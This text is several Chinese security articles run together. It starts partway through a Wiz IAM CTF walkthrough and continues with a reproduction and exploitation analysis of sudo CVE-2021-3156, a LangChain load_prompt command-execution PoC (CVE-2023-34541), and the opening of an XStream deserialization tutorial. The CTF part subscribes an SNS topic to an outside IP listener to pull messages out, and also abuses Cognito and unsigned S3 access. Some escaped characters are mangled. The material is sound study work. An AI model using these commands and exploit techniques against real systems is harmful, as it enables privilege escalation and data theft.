2、该策略没有限制允许访问的用户、角色或其他条件。它允许所有用户执行SendMessage和ReceiveMessage操作。 解题思路: 针对授予特定SQS队列执行ReceiveMessage操作获取队列消息来查找flag。 1、接受消息队列中的信息 aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 2、获取html文件内容 https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html 获得flag如下: {wiz:you-are-at-the-front-of-the-queue} Challenge3: Enable Push Notifications We got a message for you. Can you get it? 查看提示并获取本关的IAM策略如下: {   "Version": "2008-10-17",   "Id": "Statement1",   "Statement": [       {           "Sid": "Statement1",           "Effect": "Allow",           "Principal": {               "AWS": "*" //允许任何AWS用户           },           "Action": "SNS:Subscribe",       //订阅操作           "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",   //主题ARN           "Condition": {               "StringLike": {                   "sns:Endpoint": "*@tbic.wiz.io" //订阅条件               }           }       }   ] } 该策略允许任何AWS用户对指定的SNS主题(ARN为"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications")进行订阅操作。订阅条件要求订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。该策略存在如下风险: 全局访问权限:该策略中指定了允许任何AWS用户("*")执行SNS订阅操作。这意味着任何具有有效的AWS凭证的用户都可以订阅该SNS主题。如果此策略不是有意为特定用户或实体设计的,可能存在风险,因为未经授权的用户可以执行订阅操作。 通配符条件:该策略中的条件指定订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。然而,通配符条件可能过于宽松,允许任何以该域名结尾的Endpoint进行订阅,包括未经授权的Endpoint。这可能导致未经授权的实体订阅主题并接收敏感信息或滥用SNS服务。 潜在的信息泄露:由于该策略允许任何人订阅主题,如果主题包含敏感信息或重要通知,可能会导致信息泄露的风险。攻击者可以订阅主题并接收敏感信息,甚至利用该信息进行其他恶意行为。 解题思路: 1、订阅SNS主题 在订阅时由于调阅条件的限制,先尝试将订阅消息发送到email邮箱账号,但是由于我们没有以@tbic.wiz.io为后缀的邮箱账号,因此需要对此处进行绕过。 AWS用户可以使用SNS:Subscribe操作订阅指定的SNS主题: aws sns subscribe --topic-arn <主题ARN> --protocol <协议> --notification-endpoint <订阅者Endpoint> <主题ARN>为实际的SNS主题ARN。所使用的协议有HTTP、HTTPS、Email、SMS等,订阅者的Endpoint具体根据策略中的条件要求。 对该题目设置SNS订阅: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint research@tbic.wiz.io 2、订阅条件限制绕过 尝试使用http协议进行代理监听的方式获取订阅消息: aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://43.155.79.163:8443/@tbic.wiz.io 接收到来自sns的订阅确认,消息提示点击SubscribeURL确认订阅消息,等待一会即可接收到附带flag的订阅消息: 获取到flag如下: {wiz:always-suspect-asterisks} Challenge4: Admin only? We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it? 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:GetObject",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"       },       {           "Effect": "Allow",           "Principal": "*",           "Action": "s3:ListBucket",           "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",           "Condition": {               "StringLike": {                   "s3:prefix": "files/*"               },               "ForAllValues:StringLike": {                   "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"               }           }       }   ] } 该策略用于定义对 Amazon S3 存储桶的访问权限。其中包含了两个声明(Statement): 1、声明一允许任何用户存储桶执行GetObject操作,访问thebigiamchallenge-admin-storage-abf1321的s3储存桶资源。 2、声明二允许任何用户对S3存储桶执行ListBucket操作,列出存储桶中的对象。该声明有一个约束条件限制请求中的后缀必须以"files/" 开头,并且访问资源的主体是arn:aws:iam::133713371337:user/admin。 解题思路: 看到声明二中限制的访问资源主体是arn:aws:iam::133713371337:user/admin,便想着如何获取到该用户的凭据,然而在目前的环境中翻遍了各种配置文件和脚本文件都未发现相关凭据泄露,且当下凭据不能用于该访问主体。随后转变思路利用GetObject操作无限制进行目录Fuzz,Fuzz出如下路径: /thebigiamchallenge-admin-storage-abf1321/files/   /thebigiamchallenge-admin-storage-abf1321/files/cache/ /thebigiamchallenge-admin-storage-abf1321/files/tmp/ https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt 然后再深一次Fuzz,仍无flag相关结果,最终经瑞幸楼少提醒,发现了如下参数的妙用: --no-sign-request 该参数可以用来执行无需身份验证的请求。使用该参数可以跳过对请求进行签名和身份验证的步骤,从而可以在某些情况下执行不需要验证的操作。 aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag4.txt 获得flag如下: {wiz:principal-arn-is-not-what-you-think} Challenge5: Do I know you? We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes. 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Sid": "VisualEditor0",           "Effect": "Allow",           "Action": [               "mobileanalytics:PutEvents",               "cognito-sync:*"           ],           "Resource": "*"       },       {           "Sid": "VisualEditor1",           "Effect": "Allow",           "Action": [               "s3:GetObject",               "s3:ListBucket"           ],           "Resource": [               "arn:aws:s3:::wiz-privatefiles",               "arn:aws:s3:::wiz-privatefiles/*"           ]       }   ] } https://wiz-privatefiles.s3.amazonaws.com/ https://s3.amazonaws.com/wiz-privatefiles/ https://wiz-privatefiles.s3.amazonaws.com/soap/ 如上策略有两个声明,VisualEditor0声明允许向MobileAnalytics服务发送事件数据以及对Cognito Sync服务执行任何操作,且对这两个服务中的所有资源都可以操作。VisualEditor1声明允许执行GetObject和ListBucket两个操作,来获取wiz-privatefiles存储桶中的对象并列出存储桶中的内容。 解题思路: 根据题目提示得知AWS Cognito服务为主要身份提供商,问题大概率出现在此处,通过搜索AWS Cognito配置错误看到一篇文章: https://www.wangan.com/p/7fy7f8abba5c0234       //通过错误配置的AWS Cognito接管AWS帐户 结合该思路我们首先需要获取到该AWS Cognito服务的identity_pool_id: 梳理下常见的获取identity_pool_id方法: 1、通过应用程序代码查找使用Cognito的部分,并寻找可能存在identity_pool_id的位置,通常在一些JS文件或者接口中可能存在。 2、通过监控分析网络流量分析捕获应用程序与Cognito之间的通信。在捕获的网络流量中,搜索包含 identity_pool_id 的请求或响应。 3、通过搜寻查找一些配置文件或环境变量及启动脚本等获取Cognito相关的配置信息。 4、通过分析应用程序日志,查找 identity_pool_id 的信息。有时日志文件会记录与身份池相关的操作或配置。 5、通过aws控制台或CLI命令行获取identity_pool_id,前提是需要有一定权限。 结合文章思路在前端页面获取到IdentityPoolId: AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"}); 获取到identity_pool_id通过脚本再获取AK密钥进行配置: 由于当前云终端权限限制的问题,改用本地进行配置及后续操作: aws configure aws configure set aws_access_key_id aws configure set aws_secret_access_key aws configure set aws_session_token "" 获取到Flag如下: {wiz:incognito-is-always-suspicious} Challenge6: One final push Anonymous access no more. Let's see what can you do now. Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role 查看提示并获取本关的IAM策略如下: {   "Version": "2012-10-17",   "Statement": [       {           "Effect": "Allow",           "Principal": {               "Federated": "cognito-identity.amazonaws.com"           },           "Action": "sts:AssumeRoleWithWebIdentity",               "Condition": {               "StringEquals": {                   "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"               }           }       }   ] } 该策略用于定义IAM角色的信任关系,当cognito-identity身份服务进行Web身份验证时,可以使用STS的AssumeRoleWithWebIdentity操作请求临时凭证进行验证身份。此操作将验证来自cognito-identity身份服务的用户身份,并根据策略规定的条件和权限,为该用户生成一组临时凭证。这些临时凭证具有一定的时效性,可用于对 AWS 资源进行访问。 解题思路: 题目中提示不再有匿名访问且需要使用身份aws:iam::092297851374:role/Cognito_s3accessAuth_Role进行操作,策略信息也指明了cognito-identity验证中的aud必须是identity_pool_id为us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b。思路如下: 1、获取身份标识符identity-id aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b" 2、获取对应身份标识的令牌token aws cognito-identity get-open-id-token --identity-id 获取到的identity-id 3、使用获取到的身份验证令牌指定目标角色来获取临时访问凭证 aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定义session名称 --web-identity-token 获取到的token令牌 4、根据获取到的AK密钥配置并获取flag aws s3 ls aws s3 ls s3://wiz-privatefiles-x1000 aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt - 获取到flag如下: {wiz:open-sesame-or-shell-i-say-openid}
Sudo堆溢出漏洞(CVE-2021-3156)复现
背景介绍 2021 年 1 月 26 日,Qualys Research Labs在 sudo 发现了一个缺陷。sudo 解析命令行参数的方式时,错误的判断了截断符,从而导致攻击者可以恶意构造载荷,使得sudo发生堆溢出,该漏洞在配合环境变量等分配堆以及释放堆的原语下,可以致使本地提权。 环境搭建 环境版本 • ubuntu 20.04 • sudo-1.8.31p2 采用下述命令进行编译安装 cd ./sudo-SUDO_1_8_31p2 mkdir build ./configure --prefix=/home/pwn/sudo CFLAGS=”-O0 -g" make && make install 漏洞验证 #poc ./sudoedit -s '\' 11111111111111111111111111111111111111111111111111111111111111111111 执行上述POC执行sudoedit会出现malloc():invalid size的字样,这是典型的堆溢出后导致的异常。 漏洞分析 源码分析 set_cmnd函数 File: plugins\sudoers\sudoers.c 800: static int 801: set_cmnd(void) 802: {   ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 845: 846: /* set user_args */ 847: if (NewArgc > 1) { 848:    char *to, *from, **av; 849:    size_t size, n; 850: 851:    /* Alloc and build up user_args. */ 852:    for (size = 0, av = NewArgv + 1; *av; av++) //遍历每一个参数 853: size += strlen(*av) + 1; //计算每一个参数的长度 854:    if (size == 0 || (user_args = malloc(size)) == NULL) { //通过malloc动态分配一段内存,用于存放参数内容 855: sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 856: debug_return_int(-1); 857:   } 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 859: /* 860: * When running a command via a shell, the sudo front-end 861: * escapes potential meta chars. We unescape non-spaces 862: * for sudoers matching and logging purposes. 863: */ 864: for (to = user_args, av = NewArgv + 1; (from = *av); av++) { //遍历每个环境变量,并将内容拷贝到内存中 865:    while (*from) {   /*   漏洞点,当扫描参数内容时,遇到\需要进行转义处理,例如'\t'、'\n'等,因此sudo只判断\后是否跟随着空格字符,即用isspace函数进行判 断。   isspace包括的字符如下:   ' '     (0x20)   space (SPC) 空格符 '\t'   (0x09)   horizontal tab (TAB) 水平制表符     '\n'   (0x0a)   newline (LF) 换行符 '\v'   (0x0b)   vertical tab (VT) 垂直制表符 '\f'   (0x0c)   feed (FF) 换页符 '\r'   (0x0d)   carriage return (CR) 回车符 以上不包括'\0'。 而参数之间是使用'\0'作为分隔符的,因此当'\\'后跟随的'\0'会使得from++从而导致将后一个参数也被拷贝进来,最后致使堆块溢出。   */ 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) 867:    from++; 868: *to++ = *from++; 869:   } 870:    *to++ = ' '; 871: } 872: *--to = '\0'; 使用POC的例子对漏洞进行说明 漏洞原理图 因此漏洞点在于在进入set_cmnd函数时需要对转义字符进行转义,但是函数却没有判断转义字符作为参数末尾的情况,即\ + \x00 parse_args函数 parse_args函数用于反转义,即参数中若存在转义字符,会在每个转义字符之前增加一个\ File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程 593: char **av, *cmnd = NULL; 594: int ac = 1; 595: 596: if (argc != 0) { 597:    /* shell -c "command" */ 598:    char *src, *dst; 599:    size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + 600: strlen(argv[argc - 1]) + 1; 601: 602:    cmnd = dst = reallocarray(NULL, cmnd_size, 2); 603:    if (cmnd == NULL) 604: sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 605:    if (!gc_add(GC_PTR, cmnd)) 606: exit(1); 607: 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: } 615: *dst++ = ' '; 616:   } 617:    if (cmnd != dst) 618: dst--;  /* replace last space with a NUL */ 619:    *dst = '\0'; 620: 621:    ac += 2; /* -c cmnd */ 622: } 这也是为什么set_cmnd函数需要对参数进行转义,因此若先经过parse_args函数进行反转义,后经过set_cmnd函数进行转义,那么sudo是不会出现漏洞情况的 绕过检验 那么如何绕过set_cmnd函数直接进入parse_args函数,才是漏洞能够被成功触发的关键因素 首先是如何才能过进入set_cmnd函数,sudo会经过两重检测 sudo_mode需要具有MODE_RUN、MODE_EDIT或者MODE_CHECK的标志位 sudo_mode需要具有MODE_SHELL或者MODE_LOGIN_SHELL的标志位 File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 想要获得MODE_SHELL的标志位,则需要设置-s参数,此时通过 SET(flags, MODE_SHELL),将flag设置上MODE_SHELL,并且默认的mode是为NULL,因此设置-s参数可以使得flag即设置MODE_SHELL又设置MODE_RUN。 File: src\parse_args.c 479: case 's': 480:    sudo_settings[ARG_USER_SHELL].value = "true"; 481:    SET(flags, MODE_SHELL); 482:    break; ... 534: if (!mode) 535:    mode = MODE_RUN; /* running a command */ 536:     } 但是若使用sudo -s,那么就会导致flag即设置MODE_SHELL又设置MODE_RUN,就会进入parse_args函数的流程,该流程会把所有非字母数字的字符前方增加一个'\',那么就会导致我们无法构造'' + '\x00'的漏洞字符,因此想要漏洞利用成功,我们不需要程序进入set_cmd函数,但是不能进入parse_args函数 File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程   ... 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: }   ... 622: } 在parse_args函数的开头,会检测是以sudo还是以sudoedit进行调用,若使用sudoedit调用,那么会直接给mode设置上MODE_EDIT,从而绕过了mode==NULL时,需要将flag设置为MODE_RUN,因此使用sudoedit -s,可以使得flag即设置MODE_EDIT又设置MODE_SHELL File: src\parse_args.c   ... 265:     proglen = strlen(progname); 266:     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 267: progname = "sudoedit"; 268: mode = MODE_EDIT; 269: sudo_settings[ARG_SUDOEDIT].value = "true"; 270:     } 想要进入set_cmnd第二条路径就是flag设置为MODE_EDIT | MODE_SHELL,这样的输入就能够绕过parse_args函数而禁止进入set_cmd函数,这也是为什么sudo的堆溢出,需要使用sudoedit -s触发,而不是sudo -s File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 漏洞利用 漏洞利用分析 由于程序存在一个明显的堆溢出漏洞,因此需要梳理一下堆溢出如何进行利用。 • 找到一个堆块,该堆块的值会影响程序执行的流程,这里称之为可利用堆块。 • 找到可以随意控制堆块位置的操作,将漏洞函数申请的堆块部署在可利用堆块的上方,当堆溢出触发时,可以将可利用堆块的值被改写成我们预期的值。 可利用堆块 nss是用于解析和获取不同类型的名称信息,例如如何通过用名称去获取用户信息,在sudo需要获取用户信息时则需要调用nss。 在使用nss去获取信息时,其实是通过不同的动态链接库去执行相应的行为,而这些库的文件名则存在于/etc/nsswitch.conf的配置文件中 例如想要查询passwd文件则需要用到libnss_files.so与libnss_systemed.so 那么如何加载这些动态链接库则需要依赖于nss_load_library函数,而且这些相关信息都被存放在service_user结构体中,而该结构体是存放在堆内存中的。 接着得先研究该结构体的值是否会影响程序的执行流程,代码如下。 File: nsswitch.c 327: static int 328: nss_load_library (service_user *ni) 329: { 330:   if (ni->library == NULL) 331:     { 332:       /* This service has not yet been used. Fetch the service 333: library for it, creating a new one if need be. If there 334: is no service table from the file, this static variable 335: holds the head of the service_library list made from the 336: default configuration. */ 337:       static name_database default_table; 338:       ni->library = nss_new_service (service_table ?: &default_table, 339:     ni->name); //若ni->library的值为NULL,那么就会新建一个ni->library并将成员都进行初始化 340:       if (ni->library == NULL) 341: return -1; 342:     } 343: 344:   if (ni->library->lib_handle == NULL) //由于ni->library刚新建,因此ni->library->lib_handle必定为NULL 345:     { 346:       /* Load the shared library. */ 347:       size_t shlen = (7 + strlen (ni->name) + 3 348:      + strlen (__nss_shlib_revision) + 1); 349:       int saved_errno = errno; 350:       char shlib_name[shlen]; 351: 352:       /* Construct shared object name. */ 353:       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, 354:      "libnss_"), 355:    ni->name), 356:  ".so"), //shalib_name是根据拼接得到 357: __nss_shlib_revision); 358: 359:       ni->library->lib_handle = __libc_dlopen (shlib_name); //加载动态链接库 上述代码有个非常关键的点在于,程序会使用__libc_dlopen打开shalib_name指定的动态链接库,而shalib_name是通过ni->name进行一系列的拼接得到,而ni->name则是存放在结构体service_user *ni中的,该结构体又是存放在堆内存中的。那么我们就找到了关键的值ni->name,它是能够完成修改程序执行流程的关键变量。 举个例子,例如我们将ni->name修改为X/test,那么最后拼接的结果会得到libnss_X/test.so,那么如果我们在当前目录下新建一个libnss_X并且在该目录中创建一个test.so的动态链接库,那么sudo就会加载并执行我们动态链接库中的代码。至此我们找到利用的第一个关键因素,可利用堆块。 布置堆块的操作 由于我们已经找到了可利用的堆块,如果能够将堆溢出的堆块部署在可利用堆块的上方,在利用堆溢出修改ni->name,即可完成任意代码执行的效果。 在sudo的main函数中,会执行setlocate函数。setlocale 是一个用于设置程序的区域设置(locale)的函数,在许多编程语言和操作系统中都有对应的实现。 区域设置是指程序在运行时所采用的语言、地区、日期格式、货币符号等相关信息的集合。通过设置区域设置,程序可以根据不同的地区和语言环境来适应本地化需求。 export LC_ALL=en_US.UTF-8@XXXX 而在setlocal函数中涉及十分多的堆块分配与释放的操作,当调用setlocal(LC_ALL,"")时,程序会通过环境变量设置的值去搜索区域设置的值,而环境变量的搜索则依靠_nl_find_locale函数。 _nl_find_locale函数 File: locale\findlocale.c 101: struct __locale_data * 102: _nl_find_locale (const char *locale_path, size_t locale_path_len, 103: int category, const char **name) 104: {   ... 184:   /* LOCALE can consist of up to four recognized parts for the XPG syntax: 185: 186: language[_territory[.codeset]][@modifier] 187: 188:     Beside the first all of them are allowed to be missing. If the 189:     full specified locale is not found, the less specific one are 190:     looked for. The various part will be stripped off according to 191:     the following order: 192: (1) codeset 193: (2) normalized codeset 194: (3) territory 195: (4) modifier 196:   */       /*       区域的格式为C_en_US.UTF-8@XXXXXX       _nl_explode_name用于判断(1)(2)(3)(4)哪部分存在,哪部分缺失       */ 197:   mask = _nl_explode_name (loc_name, &language, &modifier, &territory, 198:   &codeset, &normalized_codeset); 199:   if (mask == -1) 200:     /* Memory allocate problem. */ 201:     return NULL; 202:   //locale_file则给区域设置进行动态内存的分配 205:   locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 206:    locale_path, locale_path_len, mask, 207:    language, territory, codeset, 208:    normalized_codeset, modifier, 209:    _nl_category_names_get (category), 0); //返回NULL 210: 211:   if (locale_file == NULL) 212:     { 213:       /* Find status record for addressed locale file. We have to search 214: through all directories in the locale path. */ 215:       locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 216: locale_path, locale_path_len, mask, 217: language, territory, codeset, 218: normalized_codeset, modifier, 219: _nl_category_names_get (category), 1); 220:       if (locale_file == NULL) 221: /* This means we are out of core. */ 222: return NULL; 223:     } } _nl_make_l10nflist**函数** _nl_make_l10nflist会根据我们传入的值进行堆块的分配。 File: intl\l10nflist.c 150: struct loaded_l10nfile * 151: _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list, 152:    const char *dirlist, size_t dirlist_len, 153:    int mask, const char *language, const char *territory, 154:    const char *codeset, const char *normalized_codeset, 155:    const char *modifier, 156:    const char *filename, int do_allocate) 157: {   ... 165:   //根据我们传入的区域值的长度进行动态分配 166:   abs_filename = (char *) malloc (dirlist_len 167:  + strlen (language) 168:  + ((mask & XPG_TERRITORY) != 0 169:     ? strlen (territory) + 1 : 0) 170:  + ((mask & XPG_CODESET) != 0 171:     ? strlen (codeset) + 1 : 0) 172:  + ((mask & XPG_NORM_CODESET) != 0 173:     ? strlen (normalized_codeset) + 1 : 0) 174:  + ((mask & XPG_MODIFIER) != 0 175:     ? strlen (modifier) + 1 : 0) 176:  + 1 + strlen (filename) + 1); 177:   ... 292: } setlocale**函数** setlocale函数总体操作则是读取环境变量的值获取区域设置的值,根据区域设置的值分配堆块大小,若其中存在不符合区域值的规范,则会将所有先前申请的堆块都释放掉。 File: locale\setlocale.c 334:       while (category-- > 0) 335: if (category != LC_ALL) 336: {   //通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中 337:    newdata[category] = _nl_find_locale (locale_path, locale_path_len, 338: category, 339: &newnames[category]); 340: ... 364: else 365: {   //使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去 366:    newnames[category] = __strdup (newnames[category]); 367:    if (newnames[category] == NULL) 368:      break; 369: }   ... 393:  if (category != LC_ALL && newnames[category] != _nl_C_name 394:      && newnames[category] != _nl_global_locale.__names[category]) 395:    free ((char *) newnames[category]); //这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉 因此可以通过区域值去控制堆块的大小,接着在最后设置一个错误的区域值去控制堆块的位置,至此我们找到可控制堆块的操作。 LC_IDENTIFICATION = C.UTF-8@XX..XX #若长度为0x10,则malloc(0x10) LC_MEASUREMENT = C.UTF-8@XX..XXX,#若长度为0X20,则malloc(0x20) LC_TELEPHONE = XXXX #不符合区域值的规范,则会调用free() exp的分析 由于我们需要控制server_user的堆块,因此需要知道该堆块的大小为多少,通过调试可知是0x40的堆块,因此利用setlocate多释放几个0x40的堆块,那么server_user就会使用到我们所释放的堆块。 紧接着将漏洞堆块分配到server_user堆块的上方,由于server_user的堆块是我们自己构建的,因此只需要在释放该堆块的同时也释放漏洞堆块即可,并且漏洞堆块的申请可是根据参数的长度所设置的 将设置区域值的函数设置为堆块分配与释放的原语,使用@后面的字符控制堆块的大小 使用错误的区域值进行堆块的释放 最后就是如何填充到可利用堆块,这里使用堆溢出,并且在环境变量中构造填充字符串,使得漏洞堆块可以覆盖掉可利用堆块的内容值,但这里需要注意的是,我们需要将ni->library中用\x00填充,而\x00是无法直接输入到环境变量中的,因此需要再次观察漏洞函数是如何拷贝字符的。根据代码分析可知,只要''后紧跟着'\x00',那么我们就能将\x00的值直接拷贝的堆内存中。紧接着将ni->name修改为我们认为构造的动态链接库即可。 File: plugins\sudoers\sudoers.c 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) //若 '\' 后跟着'\x00' 867:    from++; //此时from会指向\x00 868: *to++ = *from++; //使用\x00进行值的拷贝 869:   } 设置多个环境变量使得内存存在多个'' + '\x00',从而使用'\x00'去覆盖堆的内存值。 演示效果如下 漏洞修复 漏洞的修复则是将MODE_EDIT的标志位进行了额外的判断,并且在''后面增加了对'\0'的校验 --- a/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 +++ b/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 @@ -547,7 +547,7 @@     /* If run as root with SUDO_USER set, set sudo_user.pw to that user. */     /* XXX - causes confusion when root is not listed in sudoers */ -    if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) { if (user_uid == 0 && strcmp(prev_user, "root") != 0) {    struct passwd *pw; @@ -932,8 +932,8 @@     if (user_cmnd == NULL) user_cmnd = NewArgv[0]; -    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { - if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) { + if (!ISSET(sudo_mode, MODE_EDIT)) { //对MODE_EDIT进行了额外的判断    const char *runchroot = user_runchroot;    if (runchroot == NULL && def_runchroot != NULL &&    strcmp(def_runchroot, "*") != 0) @@ -961,7 +961,8 @@ sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR);   } -    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { +    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) && +    ISSET(sudo_mode, MODE_RUN)) { //需要sudo -s才能进行转义 /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces @@ -969,10 +970,22 @@ */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) {    while (*from) { - if (from[0] == '\\' && !isspace((unsigned char)from[1])) + if (from[0] == '\\' && from[1] != '\0' &&  //增加了'\0'的判断 + !isspace((unsigned char)from[1])) {    from++; + } + if (size - (to - user_args) < 1) { +    sudo_warnx(U_("internal error, %s overflow"), + __func__); +    debug_return_int(NOT_FOUND_ERROR); + } *to++ = *from++;   } +    if (size - (to - user_args) < 1) { + sudo_warnx(U_("internal error, %s overflow"), +    __func__); + debug_return_int(NOT_FOUND_ERROR); +   }    *to++ = ' '; } *--to = '\0'; 总结 Sudo堆溢出攻击流程 首先利用setlocate作为堆块分配与释放的原语,构造出适合的堆布局确保server_user堆块尽可能贴近漏洞代码开辟出来的堆块。 其次利用堆溢出将server_user堆块的ni->name值覆盖,覆盖的值为恶意构造的动态链接库名。 最后等待动态链接库被加载执行。 Sudo堆溢出利用的限制 由于sudo堆溢出依赖堆的布局,因此不同版本的sudo或者操作系统都会影响漏洞的利用。
LangChain 任意命令执行(CVE-2023-34541)
漏洞简介 LangChain是一个用于开发由语言模型驱动的应用程序的框架。 在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。 漏洞复现 在项目下编写 test.py from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("system.py") 同级目录下编写 system.py 执行系统命令 dir import os os.system("dir") 运行 test.py 返回了执行系统命令dir 的结果 漏洞分析-_load_prompt_from_file langchain.prompts.loading.load_prompt try_load_from_hub 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file langchain.prompts.loading._load_prompt_from_file 在 _load_prompt_from_file 根据文件的后缀,当后缀是 .py 时 最终会读取该文件并利用 exec 去执行 也就相当于,代码可以简写为 if __name__ == '__main__':    file_path = "system.py"    with open(file_path, "rb") as f:        exec(f.read()) ‍ 漏洞分析-try_load_from_hub 因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析 from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py") langchain.prompts.loading.load_prompt langchain.utilities.loading.try_load_from_hub 首先匹配了 HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)") 所以需要满足最开始是 lc:// 然后对后面的内容进行匹配,要求第一个字段的值是 prompts 最后的后缀要在 {'py', 'yaml', 'json'} 中 最后拼接请求的url 可以通过 ../../../ 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行 漏洞小结 在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。
Java 反序列化之 XStream 反序列化
0x01 XStream 基础 XStream 简介 XStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)。 使用 XStream 实现序列化与反序列化 下面看下如何使用 XStream 进行序列化和反序列化操作的。 先定义接口类 IPerson.java public interface IPerson {      void output();   } 接着定义 Person 类实现前面的接口: public class Person implements IPerson {      String name;      int age;        public void output() {          System.out.print("Hello, this is " + this.name + ", age " + this.age);     }   } XStream 序列化是调用 XStream.toXML() 来实现的: public class Serialize {      public static void main(String[] args) {          Person p = new Person();          p.age = 6;          p.name = "Drunkbaby";          XStream xstream = new XStream(new DomDriver());          String xml = xstream.toXML(p);          System.out.println(xml);     }   } XStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner() 或 FileInputStream 都可以: 